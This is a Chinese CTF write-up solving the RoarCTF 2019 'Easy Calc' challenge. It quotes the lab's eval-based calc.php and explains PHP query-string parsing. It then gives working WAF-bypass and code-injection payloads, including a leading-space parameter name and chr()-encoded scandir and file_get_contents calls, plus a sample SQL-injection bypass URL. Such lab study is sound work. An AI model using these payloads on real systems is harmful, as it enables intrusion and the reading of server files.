您现在的位置是:首页 >技术杂谈 >2025.2.7——一、[RoarCTF 2019]Easy Calc 代码审计|WAF|PHP字符串解析特性网站首页技术杂谈
2025.2.7——一、[RoarCTF 2019]Easy Calc 代码审计|WAF|PHP字符串解析特性
题目来源:BUUCTF [RoarCTF 2019]Easy Calc
目录
一、打开靶机,整理信息
输了好些个加减乘除式子,结果都是正确的,说明要找其他突破口,可以看到网页源码,还是要代码审计
二、解题思路
step 1:代码审计
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
可以看到一串明显的url:calc.php,试着访问一下,得到一串php代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', ' ', '
', '
',''', '"', '`', '[', ']','$','\','^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
分析可得是对num参数进行检查,如果无num参数,则对该文件高亮显示,有num参数则赋值给$str变量,并且定义了一个黑名单数组,并用foreach遍历黑名单数组,进行过滤检查的
正则匹配中,'/.../m' 是正则表达式模式,'m' 修饰符表示多行模式,也就是说/m表示多行匹配
到这我仍然不知道怎么解,忽略了两个信息
①WAF是什么;②这句代码是什么意思,对什么进行了解码?
step 2:新知识点
①WAF
WAF 即 Web 应用防火墙(Web Application Firewall),是一种用于保护 Web 应用程序安全的设备或软件。它位于 Web 应用程序和外部网络之间,通过对 HTTP/HTTPS 流量进行监控、过滤和分析,来防止各种针对 Web 应用的攻击,如 SQL 注入、跨站脚本攻击(XSS)、文件包含漏洞攻击等。
②代码含义
url:"calc.php?num="+encodeURIComponent($("#content").val()),
- calc.php是服务器端脚本文件的名称,请求将发送到该文件进行处理
- num是参数名称
- encodeURIComponent()是JavaScript的内置函数,用于对字符串进行编码,将字符串中的特殊字符转换为URI编码形式,目的是避免特殊字符(空格、问号、等号等)破坏URL的结构
- $("#content").val()是jQuery代码,$("#content")表示通过元素id选择器选取id为content的HTML元素(通常是一个表单元素,如input或textarea),.val()方法用于获取该元素当前的值
整体功能:通常用于构建一个 URL 并可能通过 AJAX 请求发送到服务器。
step 3:目标
目标是绕过正则表达式的过滤以及WAF,先传参看看情况
传入数字会直接回显,传入字母会报错,应该是被WAF文件拦截了,所以这里要对WAF进行绕过,新知识点
PHP的字符串解析特性
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
这里的理解:
php里有用的函数
chr()
— 返回指定的字符,对应的是ASCII
scandir()
— 列出指定路径中的文件和目录
var_dump()
— 打印变量的相关信息
file_get_contents()
— 将整个文件读入一个字符串
step 4:构造payload
已知可以用下划线代替空格以及增加空格模糊变量来绕过WAF,还有四个php函数来读取文件,num参数黑名单中有/,所以想到用chr(47)替换
calc.php? num=1;var_dump(scandir(chr(47)))
可以看到其中藏有flag信息,继续读取文件
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag信息
三、小结
1.WAF
2.PHP函数:char()、scandir()、var_dump()
3.PHP的字符串解析特性